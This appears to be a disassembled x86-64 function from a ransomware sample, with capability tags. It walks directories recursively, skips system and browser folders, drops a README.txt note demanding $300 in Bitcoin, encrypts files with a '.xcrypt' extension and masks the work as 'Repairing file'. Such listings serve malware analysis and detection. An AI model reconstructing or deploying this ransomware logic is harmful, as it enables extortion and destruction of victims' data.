Function at 0x140001e20
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x498
lea rbx, [rsp + 0x20]
mov qword [rsp + 0x4e8], rdx
mov rsi, rcx
lea rdx, str._s
mov dword [rsp + 0x4f0], r8d
lea rdi, [rsp + 0x350]
mov r8, rcx
mov rcx, rbx
call fcn.140001440
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140001ffa
mov qword [rsp + 0x4e0], rsi
mov rbp, qword [sym.imp.KERNEL32.dll_FindNextFileA]
lea rbx, [rsp + 0x37c]
test byte [rsp + 0x350], 0x10
je 0x140002010
cmp word [rbx], 0x2e
je 0x140001fe0
cmp word [rbx], 0x2e2e
je 0x140002188
movabs rax, 0x64726f63736944
cmp qword [rbx], rax
je 0x140001fe0
cmp dword [rbx], 0x676f6f47
je 0x1400021b0
cmp dword [rbx], 0x6f726843
je 0x1400021c8
movabs rax, 0x61746144707041
cmp qword [rbx], rax
je 0x140001fe0
movabs rax, 0x206d6172676f7250
cmp qword [rbx], rax
je 0x1400021da
movabs rax, 0x206d6172676f7250
xor rax, qword [rbx]
movabs rdx, 0x78282073656c6946
xor rdx, qword [rbx + 8]
or rax, rdx
je 0x1400021f3
movabs rax, 0x73776f646e6957
cmp qword [rbx], rax
je 0x140001fe0
movabs rax, 0x73676f4c66726550
cmp qword [rbx], rax
je 0x140002205
mov r8, qword [rsp + 0x4e0]
lea r12, [rsp + 0x130]
lea rdx, str._s_README.txt
mov rcx, r12
call fcn.140001440
mov rcx, r12
lea rdx, [0x140044107]
call sub.msvcrt.dll_fopen
mov r8, qword [0x140048040]
lea rdx, str.Q:_What_happened__n_nA:_Your_files_are_encrypted._n_nQ:_What_does_that_mean__n_nA:_That_means_that_your_files_are_no_longer_accessible._n_nQ:_Can_I_get_them_back__n_nA:_Yes._You_can_get_your_files_back_safely._All_you_need_to_do_n___is_send__300_worth_of_BTC_to_this_address:_d0g8hrgoifshdg9u4hgb_n___And_provide_your_personal_ID:_n____s_n_n
mov r12, rax
mov rcx, rax
call fcn.140001470
mov rcx, r12
lea r12, [rsp + 0x240]
call sub.msvcrt.dll_fclose
mov r8, qword [rsp + 0x4e0]
mov rcx, r12
mov r9, rbx
lea rdx, str._s_s
call fcn.140001440
mov r8d, dword [rsp + 0x4f0]
mov rdx, qword [rsp + 0x4e8]
mov rcx, r12
call fcn.140001e20
nop dword [rax]
mov rdx, rdi
mov rcx, r13
call rbp
test eax, eax
jne 0x140001e95
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x498
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov r8, qword [rsp + 0x4e0]
lea r12, [rsp + 0x130]
lea rdx, str._s_s
mov r9, rbx
mov rcx, r12
call fcn.140001440
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
lea rdx, str..exe
mov rcx, rax
call qword [sym.imp.msvcrt.dll__stricmp]
test eax, eax
je 0x140001fe0
mov r8, qword [rsp + 0x4e0]
lea r14, [rsp + 0x240]
lea r15, [0x140044107]
mov rcx, r14
lea rdx, str._s_README.txt
call fcn.140001440
mov rdx, r15
mov rcx, r14
call sub.msvcrt.dll_fopen
mov r8, qword [0x140048040]
lea rdx, str.Q:_What_happened__n_nA:_Your_files_are_encrypted._n_nQ:_What_does_that_mean__n_nA:_That_means_that_your_files_are_no_longer_accessible._n_nQ:_Can_I_get_them_back__n_nA:_Yes._You_can_get_your_files_back_safely._All_you_need_to_do_n___is_send__300_worth_of_BTC_to_this_address:_d0g8hrgoifshdg9u4hgb_n___And_provide_your_personal_ID:_n____s_n_n
mov r14, rax
mov rcx, rax
call fcn.140001470
mov rcx, r14
lea r14, [0x14004a060]
call sub.msvcrt.dll_fclose
mov rdx, qword [rsp + 0x4e8]
lea r8, str..xcrypt
mov rcx, r12
call fcn.140001c10
mov rdx, r15
lea rcx, str.encrypted_files.txt
call sub.msvcrt.dll_fopen
mov r15, rax
mov eax, dword [0x14004c060]
test eax, eax
jle 0x1400020ff
xor esi, esi
nop dword [rax]
mov r8, qword [r14 + rsi*8]
lea rdx, [0x140044265]
mov rcx, r15
add rsi, 1
call fcn.140001470
cmp dword [0x14004c060], esi
jg 0x1400020e0
mov rcx, r15
call sub.msvcrt.dll_fclose
mov edx, dword [0x14004c060]
pxor xmm1, xmm1
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rsp + 0x4f0]
mov r8d, dword [rsp + 0x4f0]
lea rcx, str._rRepairing_file__d____d___.0f___
cvtsi2sd xmm1, edx
divsd xmm1, xmm0
mulsd xmm1, qword [0x1400446d0]
movq r9, xmm1
movapd xmm3, xmm1
call fcn.1400014a0
mov r15d, dword [0x14004c060]
mov rcx, r12
call sub.msvcrt.dll__strdup
mov rcx, r13
mov rdx, rax
movsxd rax, r15d
add r15d, 1
mov qword [r14 + rax*8], rdx
mov rdx, rdi
mov dword [0x14004c060], r15d
call rbp
test eax, eax
jne 0x140001e95
jmp 0x140001ff0
cmp byte [rbx + 2], 0
jne 0x140001eb8
mov rdx, rdi
mov rcx, r13
call rbp
test eax, eax
jne 0x140001e95
jmp 0x140001ff0
cmp dword [rbx + 3], 0x656c67
jne 0x140001ed7
jmp 0x140001fe0
cmp dword [rbx + 3], 0x656d6f
jne 0x140001ee3
jmp 0x140001fe0
movabs rax, 0x73656c6946206d
cmp qword [rbx + 6], rax
jne 0x140001f09
jmp 0x140001fe0
cmp dword [rbx + 0x10], 0x293638
jne 0x140001f2d
jmp 0x140001fe0
cmp byte [rbx + 8], 0
je 0x140001fe0
jmp 0x140001f53